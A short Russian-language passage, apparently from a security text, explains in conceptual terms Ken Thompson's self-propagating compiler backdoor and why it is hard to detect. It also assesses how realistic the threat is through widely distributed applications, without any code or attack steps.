Обнаружить подобную лазейку чрезвычайно трудно (да кому вообще придет в голову дизассемблировать машинный код, если есть исходные тексты?), но все же возможно. Внеся исправления в исходный текст компилятора, приходится компилировать его тем же самим компилятором. А почему бы, подумал Томпсон, не научить компилятор распознавать еще и себя самого и во второе поколение вносить новые изменения? Если нет заведомо «чистого» компилятора, ситуация становится безвыходной (ну не латать же программу в машинном коде).

Понятное дело, к удаленному вторжению такая атака никакого отношения не имеет (для внесения закладок в программное обеспечение нужно, по крайней мере, быть архитектором системы). Но все же квалифицированный злоумышленник способен создать приложение, имеющее все шансы стать популярным и расползтись по сотням и тысячам компьютеров. Поэтому угроза атаки становится вполне осязаемой и реальной.